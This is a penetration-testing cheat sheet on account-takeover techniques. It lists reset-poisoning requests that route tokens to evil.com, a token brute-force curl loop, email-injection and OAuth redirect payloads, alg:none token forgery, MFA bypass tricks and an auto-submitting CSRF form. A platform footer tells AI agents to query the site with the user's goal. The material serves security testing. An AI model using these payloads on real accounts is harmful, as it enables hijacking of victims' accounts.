> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/cheat-sheets/authentication-sessions/account-takeover.md). Agents can also search and read this documentation through its [MCP server](https://hacking-notes.jord4n.pro/~gitbook/mcp).

# Account Takeover Cheat Sheet: Password Reset and Token Flaws

Account takeover tests for password reset poisoning, leaked tokens, email confusion, OAuth linking, MFA changes and chained workflow flaws.

## Account Takeover — Cheat Sheet

{% hint style="info" %}
**What is Account Takeover?**

Account takeover occurs when a user can gain control of another account through authentication, recovery, or identity-binding flaws. Tests need two isolated accounts and a verified change in account access, rather than user enumeration or a suspicious response alone.
{% endhint %}

<details open>

<summary>Password Reset Poisoning (Host Header)</summary>

{% code title="classic reset poisoning" overflow="wrap" %}

```http
POST /reset HTTP/1.1
Host: evil.com

email=victim@target.com
```

{% endcode %}

{% code title="header-spoofing variant" overflow="wrap" %}

```http
Host: target.com
X-Forwarded-Host: evil.com
```

{% endcode %}

{% code title="Host parser confusion" overflow="wrap" %}

```http
Host: target.com:@evil.com
Host: target.com\nHost: evil.com
```

{% endcode %}

{% code title="secondary injection points" overflow="wrap" %}

```
POST /reset
Host: target.com

email=victim@target.com&X-Forwarded-Host=evil.com
```

{% endcode %}

{% code title="token leak post-click" overflow="wrap" %}

```
GET /reset?token=...  (Referer: https://evil.com)
```

{% endcode %}

</details>

<details open>

<summary>Reset Token Leakage &#x26; Prediction</summary>

{% code title="token in response" overflow="wrap" %}

```
Reset password, then inspect the JSON/HTML response and Set-Cookie for the token
```

{% endcode %}

{% code title="IDOR-style leak" overflow="wrap" %}

```
GET /api/user?email=victim@target.com  →  look for resetToken / passwordResetToken field
```

{% endcode %}

{% code title="weak token generation" overflow="wrap" %}

```
Request 3+ tokens and diff them (sequential, timestamp, or short numeric)
```

{% endcode %}

{% code title="OTP brute force" overflow="wrap" %}

```bash
for i in $(seq 0 9999); do curl -s "$URL/reset?token=$(printf '%04d' $i)" ...; done
```

{% endcode %}

{% code title="token lifecycle flaws" overflow="wrap" %}

```
Reuse a token after it 'expired' or after a successful reset
```

{% endcode %}

{% code title="token/account decoupling" overflow="wrap" %}

```
Submit token belonging to victim while logged in as attacker (no email binding)
```

{% endcode %}

</details>

<details open>

<summary>Email &#x26; Identifier Confusion</summary>

{% code title="HPP on reset" overflow="wrap" %}

```
email=victim@target.com&email=attacker@evil.com
```

{% endcode %}

{% code title="JSON type confusion" overflow="wrap" %}

```json
{"email":["victim@target.com","attacker@evil.com"]}
```

{% endcode %}

{% code title="email header injection" overflow="wrap" %}

```
victim@target.com%0a%0dcc:attacker@evil.com  /  "victim@target.com"@evil.com
```

{% endcode %}

{% code title="identifier normalization" overflow="wrap" %}

```
Register victim+x@gmail.com or VICTIM@target.com (Unicode/case normalization)
```

{% endcode %}

{% code title="pre-account / merge takeover" overflow="wrap" %}

```
Register account with unverified email = victim@target.com, then trigger SSO merge
```

{% endcode %}

</details>

<details open>

<summary>OAuth / SSO Login Takeover</summary>

{% code title="code interception" overflow="wrap" %}

```
GET /oauth/authorize?...&redirect_uri=https://evil.com&response_type=code
```

{% endcode %}

{% code title="state CSRF" overflow="wrap" %}

```
Replace your code/token in the callback with the victim's (no state binding)
```

{% endcode %}

{% code title="client/aud confusion" overflow="wrap" %}

```
Use a code/access_token issued for App-A on App-B's /oauth/callback
```

{% endcode %}

{% code title="broken account linking" overflow="wrap" %}

```
Sign in with Google using email=victim@target.com on an app that links by email
```

{% endcode %}

{% code title="id\_token forgery" overflow="wrap" %}

```
Decode the id_token, swap the sub/email claim, drop the signature (alg:none)
```

{% endcode %}

{% code title="implicit token leak" overflow="wrap" %}

```
Leak access_token from URL fragment via Referer / open redirect on the callback
```

{% endcode %}

</details>

<details open>

<summary>Email / 2FA Change &#x26; MFA Bypass</summary>

{% code title="email change without re-auth" overflow="wrap" %}

```
POST /account/email  {newEmail: attacker@evil.com}  — no current-password / re-auth
```

{% endcode %}

{% code title="MFA removal" overflow="wrap" %}

```
Disable 2FA endpoint reachable without re-entering an OTP or password
```

{% endcode %}

{% code title="OTP brute force" overflow="wrap" %}

```
Brute-force the 6-digit TOTP/SMS code — no rate limit / no attempt counter
```

{% endcode %}

{% code title="response/flow manipulation" overflow="wrap" %}

```
Drop the 2FA step: go straight to the post-login endpoint after step-1 auth
```

{% endcode %}

{% code title="response tampering" overflow="wrap" %}

```
Intercept the 2FA response and change {"verified":false} → true / 401 → 200
```

{% endcode %}

{% code title="MFA backdoor reuse" overflow="wrap" %}

```
Use a leftover 'remember this device' token / backup code on the victim
```

{% endcode %}

</details>

<details open>

<summary>CSRF &#x26; Response Manipulation Chains</summary>

{% code title="email-change CSRF" overflow="wrap" %}

```html
<form action=https://target.com/account/email method=POST><input name=email value=attacker@evil.com></form><script>document.forms[0].submit()</script>
```

{% endcode %}

{% code title="login CSRF" overflow="wrap" %}

```
Login CSRF: auto-submit the attacker's credentials, then plant a stored payload
```

{% endcode %}

{% code title="OAuth link CSRF" overflow="wrap" %}

```
GET /account/link-oauth?code=ATTACKER_CODE  (no state) via <img>
```

{% endcode %}

{% code title="client-side auth trust" overflow="wrap" %}

```
Change HTTP/1.1 401/403 → 200, or {"success":false} → true in the login response
```

{% endcode %}

{% code title="reset → auto session" overflow="wrap" %}

```
Submit reset-password POST without the old session, observe Set-Cookie auto-login
```

{% endcode %}

{% code title="verification step" overflow="wrap" %}

```
Compare attacker vs victim sessions/JWTs side by side (session-compare)
```

{% endcode %}

</details>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/cheat-sheets/authentication-sessions/account-takeover.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
